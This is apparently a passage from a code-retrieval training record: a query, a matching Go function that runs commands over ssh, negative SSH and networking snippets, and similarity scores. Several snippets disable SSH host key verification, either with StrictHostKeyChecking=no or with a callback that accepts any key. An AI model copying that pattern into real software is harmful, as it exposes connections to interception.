wait\n\t\t\t}\n\t\t}\n\t}\n\tif !exists {\n\t\terr = errors.New(\"Port mapping unsuccessful\")\n\t\treturn\n\t}\n\n\t// let's do the ssh\n\tsshPath, err := exec.LookPath(\"ssh\")\n\tif err != nil {\n\t\tCliPrintError(\"ssh not found, please install it first: %v\", err)\n\t}\n\tsshCmd := fmt.Sprintf(\"%s -p %s -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no 127.0.0.1\",\n\t\tsshPath, lport)\n\tCliPrintSuccess(\"Opening SSH session for %s in new window. \"+\n\t\t\"If that fails, please execute command %s manaully\",\n\t\tCurrentTarget.Tag, strconv.Quote(sshCmd))\n\n\t// agent name\n\tname := CurrentTarget.Hostname\n\tlabel := Targets[CurrentTarget].Label\n\tif label != \"nolabel\" && label != \"-\" {\n\t\tname = label\n\t}\n\treturn TmuxNewWindow(fmt.Sprintf(\"%s-%s\", name, shell), sshCmd)\n}", "func CompsCommand(runtime *program.SubRuntime) (retval int, err string) {\n\targv := runtime.Argv\n\n\t// parse the repo uri\n\turi, e := repos.NewRepoURI(argv[0])\n\tif e != nil {\n\t\terr = constants.StringUnparsedRepoName\n\t\tretval = constants.ErrorInvalidRepo\n\t\treturn\n\t}\n\n\t// print each component on one line\n\tfor _, comp := range uri.Components() {\n\t\tfmt.Println(comp)\n\t}\n\n\t// and finish\n\treturn\n}", "func (m *Monocular) Connect(ec echo.Context, cnsiRecord interfaces.CNSIRecord, userId string) (*interfaces.TokenRecord, bool, error) {\n\t// Note: Helm Repositories don't support connecting\n\treturn nil, false, errors.New(\"Connecting not support for a Helm Repository\")\n}", "func ConnectWithPasswordTimeout(host, username, pass string, timeout time.Duration) (*Client, error) {\n\tauthMethod := ssh.Password(pass)\n\n\treturn connect(username, host, authMethod, timeout)\n}", "func (s *Session) SendCommand(command string) {\n\t_, _ = fmt.Fprintf(s.socket, \"?\"+command+\";\")\n}", "func (client *SdnClient) SSHPortForwarding(localPort, targetPort uint16,\n\ttargetIP string) (close func(), err error) {\n\tfwdArgs := fmt.Sprintf(\"%d:%s:%d\", localPort, targetIP, targetPort)\n\targs := client.sshArgs(\"-v\", \"-T\", \"-L\", fwdArgs, \"tail\", \"-f\", \"/dev/null\")\n\tcmd := exec.Command(\"ssh\", args...)\n\tstdout, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcmd.Stderr = cmd.Stdout\n\terr = cmd.Start()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttunnelReadyCh := make(chan bool, 1)\n\tgo func(tunnelReadyCh chan<- bool) {\n\t\tvar listenerReady, fwdReady, sshReady bool\n\t\tfwdMsg := fmt.Sprintf(\"Local connections to LOCALHOST:%d \" +\n\t\t\t\"forwarded to remote address %s:%d\", localPort, targetIP, targetPort)\n\t\tlistenMsg := fmt.Sprintf(\"Local forwarding listening on 127.0.0.1 port %d\",\n\t\t\tlocalPort)\n\t\tsshReadyMsg := \"Entering interactive session\"\n\t\tscanner := bufio.NewScanner(stdout)\n\t\tfor scanner.Scan() {\n\t\t\tline := scanner.Text()\n\t\t\tif strings.Contains(line, fwdMsg) {\n\t\t\t\tfwdReady = true\n\t\t\t}\n\t\t\tif strings.Contains(line, listenMsg) {\n\t\t\t\tlistenerReady = true\n\t\t\t}\n\t\t\tif strings.Contains(line, sshReadyMsg) {\n\t\t\t\tsshReady = true\n\t\t\t}\n\t\t\tif listenerReady && fwdReady && sshReady {\n\t\t\t\ttunnelReadyCh <- true\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}(tunnelReadyCh)\n\tclose = func() {\n\t\terr = cmd.Process.Kill()\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"failed to kill %s: %v\", cmd, err)\n\t\t} else {\n\t\t\t_ = cmd.Wait()\n\t\t}\n\t}\n\t// Give tunnel some time to open.\n\tselect {\n\tcase <-tunnelReadyCh:\n\t\t// Just an extra cushion for the tunnel to establish.\n\t\ttime.Sleep(500 * time.Millisecond)\n\t\treturn close, nil\n\tcase <-time.After(30 * time.Second):\n\t\tclose()\n\t\treturn nil, fmt.Errorf(\"failed to create SSH tunnel %s in time\", fwdArgs)\n\t}\n}", "func connect() net.Conn {\n\t//connection, err := net.Dial(\"unix\", \"/var/www/bot/irc/sock\")\n\tconnection, err := net.Dial(\"tcp\", \"localhost:8765\")\n\n\t//\tsendCommand(connection, \"PASS\", password)\n\t//\tsendCommand(connection, \"USER\", fmt.Sprintf(\"%s 8 * :%s\\r\\n\", nickname, nickname))\n\t//\tsendCommand(connection, \"NICK\", nickname)\n\t//\tfmt.Println(\"Registration sent\")\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tjoinChannels(connection)\n\n\treturn connection\n}", "func UnixConnect(ctx context.Context, addr string) (net.Conn, error) {\n\tunixAddr, _ := net.ResolveUnixAddr(\"unix\", addr)\n\treturn net.DialUnix(\"unix\", nil, unixAddr)\n}" ]
[ "0.71205807", "0.70822644", "0.6616478", "0.63631743", "0.62338054", "0.60271734", "0.599785", "0.5916439", "0.5910079", "0.59050316", "0.5863209", "0.58507776", "0.5780209", "0.5776219", "0.5747003", "0.5737086", "0.57239807", "0.570501", "0.57017505", "0.5651364", "0.56479377", "0.5645506", "0.5638218", "0.5629928", "0.55918175", "0.5577394", "0.5574351", "0.5574044", "0.55733746", "0.5544855", "0.55262053", "0.55072826", "0.5476375", "0.5474562", "0.54108834", "0.5409964", "0.5403214", "0.5393784", "0.5391801", "0.53754526", "0.5374289", "0.53574663", "0.5354238", "0.5345676", "0.53436244", "0.5327651", "0.5325387", "0.5322082", "0.53133875", "0.5296998", "0.5291017", "0.52633727", "0.52534515", "0.52424926", "0.5238666", "0.5235406", "0.5227045", "0.52146655", "0.5212293", "0.5210653", "0.5209722", "0.52069795", "0.52069795", "0.5206752", "0.52019095", "0.5195919", "0.51488864", "0.51436096", "0.514267", "0.5128631", "0.51214683", "0.51133424", "0.50835145", "0.50779766", "0.50696933", "0.50571877", "0.5050781", "0.50502414", "0.5044911", "0.5038942", "0.5036163", "0.50356394", "0.5032462", "0.5032159", "0.5012008", "0.4998973", "0.4996955", "0.49831763", "0.4983023", "0.4977014", "0.4969428", "0.49650466", "0.49648526", "0.49634838", "0.49573988", "0.49529654", "0.49515927", "0.49452665", "0.49423087", "0.49366236" ]
0.78404003
0
ConnectCommandOutput Aliases `ssh C command` and return any output stream as a value
func ConnectCommandOutput(args []string) string { if len(args) == 0 { log.Fatal("At least one argument must be supplied to use this command") } cs := strings.Join(args, " ") pn := conf.GetConfig().Tokaido.Project.Name + ".tok" r := utils.CommandSubstitution("ssh", []string{"-q", "-o UserKnownHostsFile=/dev/null", "-o StrictHostKeyChecking=no", pn, "-C", cs}...) utils.DebugString(r) return r }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func ConnectCommand(args []string) string {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tr, err := utils.CommandSubSplitOutput(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tutils.DebugString(r)\n\n\treturn r\n}", "func (h *Host) ExecWithOutput(cmd string) (string, error) {\n\tsession, err := h.sshClient.NewSession()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer session.Close()\n\n\toutput, err := session.CombinedOutput(cmd)\n\tif err != nil {\n\t\treturn \"\", nil\n\t}\n\n\treturn strings.TrimSpace(string(output)), nil\n}", "func (r *Remoter) Output(waitCtx context.Context, cmd string) (string, []byte, error) {\n\t// cannot use defer close(r.wait()) , defer may delay called,\n\t// and cause a race condition\n\tclt := r.clt\n\tssn, err := clt.NewSession()\n\tif err != nil {\n\t\treturn cmd, nil, err\n\t}\n\t// stdout stderr all in one\n\t// BUG: there will have a race condition\n\t// sub routine and this routine operate same r.closer\n\tnoNeedWait, waitGrp := r.wait(waitCtx)\n\tb, err := ssn.CombinedOutput(cmd)\n\t// tell sub routine to exit\n\tclose(noNeedWait)\n\t// wait sub routine exit\n\twaitGrp.Wait()\n\t_ = ssn.Close()\n\treturn cmd, b, err\n}", "func (client *NativeClient) Output(command string) (string, error) {\n\tsession, err := client.session(command)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\toutput, err := session.CombinedOutput(command)\n\tdefer session.Close()\n\n\treturn string(bytes.TrimSpace(output)), wrapError(err)\n}", "func (client *ExternalClient) Output(pty bool, args ...string) (string, error) {\n\targs = append(client.BaseArgs, args...)\n\tcmd := getSSHCmd(client.BinaryPath, pty, args...)\n\t// for pseudo-tty and sudo to work correctly Stdin must be set to os.Stdin\n\tif pty {\n\t\tcmd.Stdin = os.Stdin\n\t}\n\toutput, err := cmd.CombinedOutput()\n\treturn string(output), err\n}", "func (c *Cmd) Output() ([]byte, error)", "func (a *Agent) connectOutput(ctx context.Context, output *models.RunningOutput) error {\n\tlog.Printf(\"D! [agent] Attempting connection to [%s]\", output.LogName())\n\terr := output.Output.Connect()\n\tif err != nil {\n\t\tlog.Printf(\"E! [agent] Failed to connect to [%s], retrying in 15s, \"+\n\t\t\t\"error was '%s'\", output.LogName(), err)\n\n\t\terr := internal.SleepContext(ctx, 15*time.Second)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = output.Output.Connect()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Error connecting to output %q: %w\", output.LogName(), err)\n\t\t}\n\t}\n\tlog.Printf(\"D! [agent] Successfully connected to %s\", output.LogName())\n\treturn nil\n}", "func StreamConnectCommand(args []string) {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tutils.StreamOSCmd(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n}", "func ExecCommandOutput(cmd string, args []string) (string, int, error) {\n\tLogDebug.Print(\"ExecCommandOutput called with \", cmd, args)\n\tc := exec.Command(cmd, args...)\n\tvar b bytes.Buffer\n\tc.Stdout = &b\n\tc.Stderr = &b\n\n\tif err := c.Start(); err != nil {\n\t\treturn \"\", 999, err\n\t}\n\n\t//TODO we could set a timeout here if needed\n\n\terr := c.Wait()\n\tout := string(b.Bytes())\n\n\tfor _, line := range strings.Split(out, \"\\n\") {\n\t\tLogDebug.Print(\"out :\", line)\n\t}\n\n\tif err != nil {\n\t\t//check the rc of the exec\n\t\tif badnews, ok := err.(*exec.ExitError); ok {\n\t\t\tif status, ok := badnews.Sys().(syscall.WaitStatus); ok {\n\t\t\t\treturn out, status.ExitStatus(), fmt.Errorf(\"rc=%d\", status.ExitStatus())\n\t\t\t}\n\t\t} else {\n\t\t\treturn out, 888, fmt.Errorf(\"unknown error\")\n\t\t}\n\t}\n\n\treturn out, 0, nil\n}", "func (c *SSHCommand) CombinedOutput() ([]byte, error) {\n\tcontent, err := c.cmd.CombinedOutput()\n\tnerr := c.end()\n\tif nerr != nil {\n\t\tlog.Warnf(\"Error waiting for command end: %v\", nerr)\n\t}\n\treturn content, err\n}", "func (fs *Fs) ExecCommandOutput(name string, args ...string) ([]byte, error) {\n\treturn exec.Command(name, args...).Output() // #nosec G204\n}", "func GetCommandOutput(command string, timeout time.Duration, arg ...string) ([]byte, error) {\n\tvar err error\n\tvar stdOut bytes.Buffer\n\tvar stdErr bytes.Buffer\n\tvar c = make(chan []byte)\n\tcmd := exec.Command(command, arg...)\n\tcmd.Stdout = &stdOut\n\tcmd.Stderr = &stdErr\n\tif err = cmd.Start(); err != nil {\n\t\treturn nil, fmt.Errorf(\"%s %s\", err.Error(), stdErr.String())\n\t}\n\tgo func() {\n\t\terr = cmd.Wait()\n\t\tc <- stdOut.Bytes()\n\t}()\n\ttime.AfterFunc(timeout, func() {\n\t\tcmd.Process.Kill()\n\t\terr = errors.New(\"Maxruntime exceeded\")\n\t\tc <- nil\n\t})\n\tresponse := <-c\n\tif err != nil {\n\t\tfmt.Errorf(\"%s %s\", err.Error(), stdErr.String())\n\t}\n\treturn response, nil\n}", "func connect() cli.Command { // nolint: gocyclo\n\tcommand := cli.Command{\n\t\tName: \"connect\",\n\t\tAliases: []string{\"conn\"},\n\t\tUsage: \"Get a shell from a vm\",\n\t\tFlags: []cli.Flag{\n\t\t\tcli.StringFlag{\n\t\t\t\tName: \"user\",\n\t\t\t\tValue: \"\",\n\t\t\t\tUsage: \"ssh login user\",\n\t\t\t},\n\t\t\tcli.StringFlag{\n\t\t\t\tName: \"key\",\n\t\t\t\tValue: \"\",\n\t\t\t\tUsage: \"private key path (default: ~/.ssh/id_rsa)\",\n\t\t\t},\n\t\t},\n\t\tAction: func(c *cli.Context) error {\n\t\t\tvar name, loginUser, key string\n\t\t\tvar vmID int\n\t\t\tnameFound := false\n\t\t\tnargs := c.NArg()\n\t\t\tswitch {\n\t\t\tcase nargs == 1:\n\t\t\t\t// Parse flags\n\t\t\t\tif c.String(\"user\") != \"\" {\n\t\t\t\t\tloginUser = c.String(\"user\")\n\t\t\t\t} else {\n\t\t\t\t\tusr, _ := user.Current()\n\t\t\t\t\tloginUser = usr.Name\n\t\t\t\t}\n\n\t\t\t\tif c.String(\"key\") != \"\" {\n\t\t\t\t\tkey, _ = filepath.Abs(c.String(\"key\"))\n\t\t\t\t} else {\n\t\t\t\t\tusr, err := user.Current()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t\t}\n\n\t\t\t\t\tkey = usr.HomeDir + \"/.ssh/id_rsa\"\n\t\t\t\t}\n\t\t\t\tname = c.Args().First()\n\t\t\t\tcli, err := client.NewEnvClient()\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tlistArgs := filters.NewArgs()\n\t\t\t\tlistArgs.Add(\"ancestor\", VMLauncherContainerImage)\n\t\t\t\tcontainers, err := cli.ContainerList(context.Background(),\n\t\t\t\t\ttypes.ContainerListOptions{\n\t\t\t\t\t\tQuiet: false,\n\t\t\t\t\t\tSize: false,\n\t\t\t\t\t\tAll: true,\n\t\t\t\t\t\tLatest: false,\n\t\t\t\t\t\tSince: \"\",\n\t\t\t\t\t\tBefore: \"\",\n\t\t\t\t\t\tLimit: 0,\n\t\t\t\t\t\tFilters: listArgs,\n\t\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tfor id, container := range containers {\n\t\t\t\t\tif container.Names[0][1:] == name {\n\t\t\t\t\t\tnameFound = true\n\t\t\t\t\t\tvmID = id\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !nameFound {\n\t\t\t\t\tfmt.Printf(\"Unable to find a running vm with name: %s\", name)\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t} else {\n\t\t\t\t\tvmIP := containers[vmID].NetworkSettings.Networks[\"bridge\"].IPAddress\n\t\t\t\t\tgetNewSSHConn(loginUser, vmIP, key)\n\t\t\t\t}\n\n\t\t\tcase nargs == 0:\n\t\t\t\tfmt.Println(\"No name provided as argument.\")\n\t\t\t\tos.Exit(1)\n\n\t\t\tcase nargs > 1:\n\t\t\t\tfmt.Println(\"Only one argument is allowed\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\treturn command\n}", "func (c *Cmd) CombinedOutput() ([]byte, error)", "func (client *NativeClient) OutputWithPty(command string) (string, error) {\n\tsession, err := client.session(command)\n\tif err != nil {\n\t\treturn \"\", nil\n\t}\n\n\tfd := int(os.Stdin.Fd())\n\n\ttermWidth, termHeight, err := terminal.GetSize(fd)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0,\n\t\tssh.TTY_OP_ISPEED: 14400,\n\t\tssh.TTY_OP_OSPEED: 14400,\n\t}\n\n\t// request tty -- fixes error with hosts that use\n\t// \"Defaults requiretty\" in /etc/sudoers - I'm looking at you RedHat\n\tif err := session.RequestPty(\"xterm\", termHeight, termWidth, modes); err != nil {\n\t\treturn \"\", err\n\t}\n\n\toutput, err := session.CombinedOutput(command)\n\tdefer session.Close()\n\n\treturn string(bytes.TrimSpace(output)), wrapError(err)\n}", "func executeCmd(remote_host string) string {\n\treadConfig(\"config\")\n\t//\tconfig, err := sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t//\tif err != nil {\n\t//\t\tlog.Fatal(err)\n\t//\t}\n\tvar config *ssh.ClientConfig\n\n\tif Conf.Method == \"password\" {\n\t\tconfig = sshAuthPassword(Conf.SshUser, Conf.SshPassword)\n\t} else if Conf.Method == \"key\" {\n\t\tconfig = sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t\t//\t\tif err != nil {\n\t\t//\t\t\tlog.Fatal(err)\n\t\t//\t\t}\n\t} else {\n\t\tlog.Fatal(`Please set method \"password\" or \"key\" at configuration file`)\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", remote_host+\":\"+Conf.SshPort, config)\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to dial: \", err)\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to create session: \", err)\n\t}\n\tdefer session.Close()\n\n\tvar b bytes.Buffer\n\tsession.Stdout = &b\n\tif err := session.Run(Conf.Command); err != nil {\n\t\tlog.Fatal(\"Failed to run: \" + err.Error())\n\t}\n\tfmt.Println(\"\\x1b[31;1m\" + remote_host + \"\\x1b[0m\")\n\treturn b.String()\n}", "func (self *Client) RunCommand(cmd *Command) (string, []error) {\n var (\n output string\n errs []error\n )\n\n //- Compile our \"Valid\" and \"Error\" REGEX patterns, if not done already.\n // This will allow us to reuse it with compiling it every time.\n cmd.CompileCmdRegex()\n\n\tcmd.LogCommandConfig() //- DEBUG\n\n //- \"Write\" the command to the remote SSH session.\n self.StdinPipe.Write([]byte(cmd.Exec))\n\n //- Loop until we've gotten all output from the remote SSH Session.\n done := false\n lastError := \"\"\n for done != true {\n b, _ := self.StdoutPipe.ReadByte()\n output = output + string(b)\n\n //- Check for errors, if we have any ErrorPatterns to test.\n if len(cmd.ErrorPatterns) > 0 {\n if matchedError, errDesc := testRegex(output, cmd.ErrorRegex); matchedError == true {\n if lastError != errDesc {\n errs = append(errs, fmt.Errorf(\"Matched error pattern: %s\", errDesc))\n lastError = errDesc\n }\n }\n }\n\n //- Check for Valid output. Continue retrieving bytes until we see a\n // \"valid\" pattern.\n if done, _ = testRegex(output, cmd.ValidRegex); done == true {\n //- Make sure there isn't any more left to read.\n//\t\t\ttime.Sleep(time.Second)\n if buff := self.StdoutPipe.Buffered(); buff != 0 {\n done = false\n }\n }\n }\n\n return output, errs\n}", "func (this Scanner) executeCommand(cmd string, session *ssh.Session) (string, error) {\n\t//Runs CombinedOutput, which takes cmd and returns stderr and stdout of the command\n\tout, err := session.CombinedOutput(cmd)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Convert our output to a string\n\ttmpOut := string(out)\n\ttmpOut = strings.Replace(tmpOut, \"\\n\", \"<br>\", -1)\n\n\t// Return a string version of our result\n\treturn tmpOut, nil\n}", "func TestSessionCombinedOutput(t *testing.T) {\n\tconn := dial(fixedOutputHandler, t)\n\tdefer conn.Close()\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to request new session: %v\", err)\n\t}\n\tdefer session.Close()\n\n\tbuf, err := session.CombinedOutput(\"\") // cmd is ignored by fixedOutputHandler\n\tif err != nil {\n\t\tt.Error(\"Remote command did not exit cleanly:\", err)\n\t}\n\tconst stdout = \"this-is-stdout.\"\n\tconst stderr = \"this-is-stderr.\"\n\tg := string(buf)\n\tif g != stdout+stderr && g != stderr+stdout {\n\t\tt.Error(\"Remote command did not return expected string:\")\n\t\tt.Logf(\"want %q, or %q\", stdout+stderr, stderr+stdout)\n\t\tt.Logf(\"got %q\", g)\n\t}\n}", "func (ctsssto ConnectToSourceSQLServerTaskOutput) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\n\treturn &ctsssto, true\n}", "func (ctssstoll ConnectToSourceSQLServerTaskOutputLoginLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\n\treturn nil, false\n}", "func (t *TestCluster) SSH(m platform.Machine, cmd string) ([]byte, error) {\n\tvar stdout, stderr []byte\n\tvar err error\n\tf := func() {\n\t\tstdout, stderr, err = m.SSH(cmd)\n\t}\n\n\terrMsg := fmt.Sprintf(\"ssh: %s\", cmd)\n\t// If f does not before the test timeout, the RunWithExecTimeoutCheck\n\t// will end this goroutine and mark the test as failed\n\tt.H.RunWithExecTimeoutCheck(f, errMsg)\n\tif len(stderr) > 0 {\n\t\tfor _, line := range strings.Split(string(stderr), \"\\n\") {\n\t\t\tt.Log(line)\n\t\t}\n\t}\n\treturn stdout, err\n}", "func Test_SSH(t *testing.T) {\n\tvar cipherList []string\n\tsession, err := connect(username, password, ip, key, port, cipherList, nil)\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tdefer session.Close()\n\n\tcmdlist := strings.Split(cmd, \";\")\n\tstdinBuf, err := session.StdinPipe()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\n\tvar outbt, errbt bytes.Buffer\n\tsession.Stdout = &outbt\n\n\tsession.Stderr = &errbt\n\terr = session.Shell()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tfor _, c := range cmdlist {\n\t\tc = c + \"\\n\"\n\t\tstdinBuf.Write([]byte(c))\n\n\t}\n\tsession.Wait()\n\tt.Log((outbt.String() + errbt.String()))\n\treturn\n}", "func (res *ExecResult) stdout() string {\n\treturn res.outBuffer.String()\n}", "func (v *vcsCmd) runOutput(dir string, cmd string, keyval ...string) ([]byte, error) {\n\treturn v.run1(dir, cmd, keyval, true)\n}", "func (sc *SSHClient) Command(cmd string) (io.Reader, error) {\n\tfmt.Println(cmd)\n\tsession, err := sc.client.NewSession()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer session.Close()\n\tout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbuf := &bytes.Buffer{}\n\twriter := io.MultiWriter(os.Stdout, buf)\n\tgo io.Copy(writer, out)\n\touterr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgo io.Copy(os.Stderr, outerr)\n\terr = session.Run(cmd)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf, nil\n}", "func (ins *EC2RemoteClient) RunCommandWithOutput(cmd string) (exitStatus int, stdoutBuf bytes.Buffer, stderrBuf bytes.Buffer, err error) {\n\texitStatus, stdoutBuf, stderrBuf, err = ins.cmdClient.RunCommandWithOutput(cmd)\n\treturn exitStatus, stdoutBuf, stderrBuf, err\n}", "func (e *SSHExecutor) Execute(cmd string, sudo bool, timeout ...time.Duration) ([]byte, []byte, error) {\n\t// try to acquire root permission\n\tif e.Sudo || sudo {\n\t\tcmd = fmt.Sprintf(\"sudo -H -u root bash -c \\\"%s\\\"\", cmd)\n\t}\n\n\t// set a basic PATH in case it's empty on login\n\tcmd = fmt.Sprintf(\"PATH=$PATH:/usr/bin:/usr/sbin %s\", cmd)\n\n\tif e.Locale != \"\" {\n\t\tcmd = fmt.Sprintf(\"export LANG=%s; %s\", e.Locale, cmd)\n\t}\n\n\t// run command on remote host\n\t// default timeout is 60s in easyssh-proxy\n\tif len(timeout) == 0 {\n\t\ttimeout = append(timeout, executeDefaultTimeout)\n\t}\n\n\tstdout, stderr, done, err := e.Config.Run(cmd, timeout...)\n\n\tzap.L().Info(\"SSHCommand\",\n\t\tzap.String(\"host\", e.Config.Server),\n\t\tzap.String(\"port\", e.Config.Port),\n\t\tzap.String(\"cmd\", cmd),\n\t\tzap.Error(err),\n\t\tzap.String(\"stdout\", stdout),\n\t\tzap.String(\"stderr\", stderr))\n\n\tif err != nil {\n\t\tbaseErr := ErrSSHExecuteFailed.\n\t\t\tWrap(err, \"Failed to execute command over SSH for '%s@%s:%s'\", e.Config.User, e.Config.Server, e.Config.Port).\n\t\t\tWithProperty(ErrPropSSHCommand, cmd).\n\t\t\tWithProperty(ErrPropSSHStdout, stdout).\n\t\t\tWithProperty(ErrPropSSHStderr, stderr)\n\t\tif len(stdout) > 0 || len(stderr) > 0 {\n\t\t\toutput := strings.TrimSpace(strings.Join([]string{stdout, stderr}, \"\\n\"))\n\t\t\tbaseErr = baseErr.\n\t\t\t\tWithProperty(cliutil.SuggestionFromFormat(\"Command output on remote host %s:\\n%s\\n\",\n\t\t\t\t\te.Config.Server,\n\t\t\t\t\tcolor.YellowString(output)))\n\t\t}\n\t\treturn []byte(stdout), []byte(stderr), baseErr\n\t}\n\n\tif !done { // timeout case,\n\t\treturn []byte(stdout), []byte(stderr), ErrSSHExecuteTimedout.\n\t\t\tWrap(err, \"Execute command over SSH timedout for '%s@%s:%s'\", e.Config.User, e.Config.Server, e.Config.Port).\n\t\t\tWithProperty(ErrPropSSHCommand, cmd).\n\t\t\tWithProperty(ErrPropSSHStdout, stdout).\n\t\t\tWithProperty(ErrPropSSHStderr, stderr)\n\t}\n\n\treturn []byte(stdout), []byte(stderr), nil\n}", "func (h *Host) Exec(cmd string) error {\n\tsession, err := h.sshClient.NewSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer session.Close()\n\n\tstdout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\tstderr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlogrus.Debugf(\"executing command: %s\", cmd)\n\tif err := session.Start(cmd); err != nil {\n\t\treturn err\n\t}\n\n\tmultiReader := io.MultiReader(stdout, stderr)\n\toutputScanner := bufio.NewScanner(multiReader)\n\n\tfor outputScanner.Scan() {\n\t\tlogrus.Debugf(\"%s: %s\", h.FullAddress(), outputScanner.Text())\n\t}\n\tif err := outputScanner.Err(); err != nil {\n\t\tlogrus.Errorf(\"%s: %s\", h.FullAddress(), err.Error())\n\t}\n\n\treturn nil\n}", "func sshconnect(n *Node) (*ssh.Session, error) {\n\tuser := n.UserName\n\thost := n.Addr\n\tport := 22\n\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\n\t// Get auth method\n\tif n.AuthMethod == \"privateKey\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\n\t} else if n.AuthMethod == \"password\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, ssh.Password(n.Password))\n\t}\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}", "func ExecuteWithOutput(cmd *exec.Cmd) (outStr string, err error) {\n\t// connect to stdout and stderr for filtering purposes\n\terrPipe, err := cmd.StderrPipe()\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"cmd\": cmd.Args,\n\t\t}).Fatal(\"Couldn't connect to command's stderr\")\n\t}\n\toutPipe, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"cmd\": cmd.Args,\n\t\t}).Fatal(\"Couldn't connect to command's stdout\")\n\t}\n\t_ = bufio.NewReader(errPipe)\n\toutReader := bufio.NewReader(outPipe)\n\n\t// start the command and filter the output\n\tif err = cmd.Start(); err != nil {\n\t\treturn \"\", err\n\t}\n\toutScanner := bufio.NewScanner(outReader)\n\tfor outScanner.Scan() {\n\t\toutStr += outScanner.Text() + \"\\n\"\n\t\tif log.GetLevel() == log.DebugLevel {\n\t\t\tfmt.Println(outScanner.Text())\n\t\t}\n\t}\n\terr = cmd.Wait()\n\treturn outStr, err\n}", "func lisp_command_output(command string) string {\n\tcmd := exec.Command(command)\n\tout, err := cmd.CombinedOutput()\n\tif (err != nil) {\n\t\treturn(\"\")\n\t}\n\toutput := string(out)\n\treturn(output[0:len(output)-1])\n}", "func (bc *BaseCluster) SSH(m Machine, cmd string) ([]byte, []byte, error) {\n\tvar stdout bytes.Buffer\n\tvar stderr bytes.Buffer\n\tclient, err := bc.SSHClient(m.IP())\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer client.Close()\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer session.Close()\n\n\tsession.Stdout = &stdout\n\tsession.Stderr = &stderr\n\terr = session.Run(cmd)\n\toutBytes 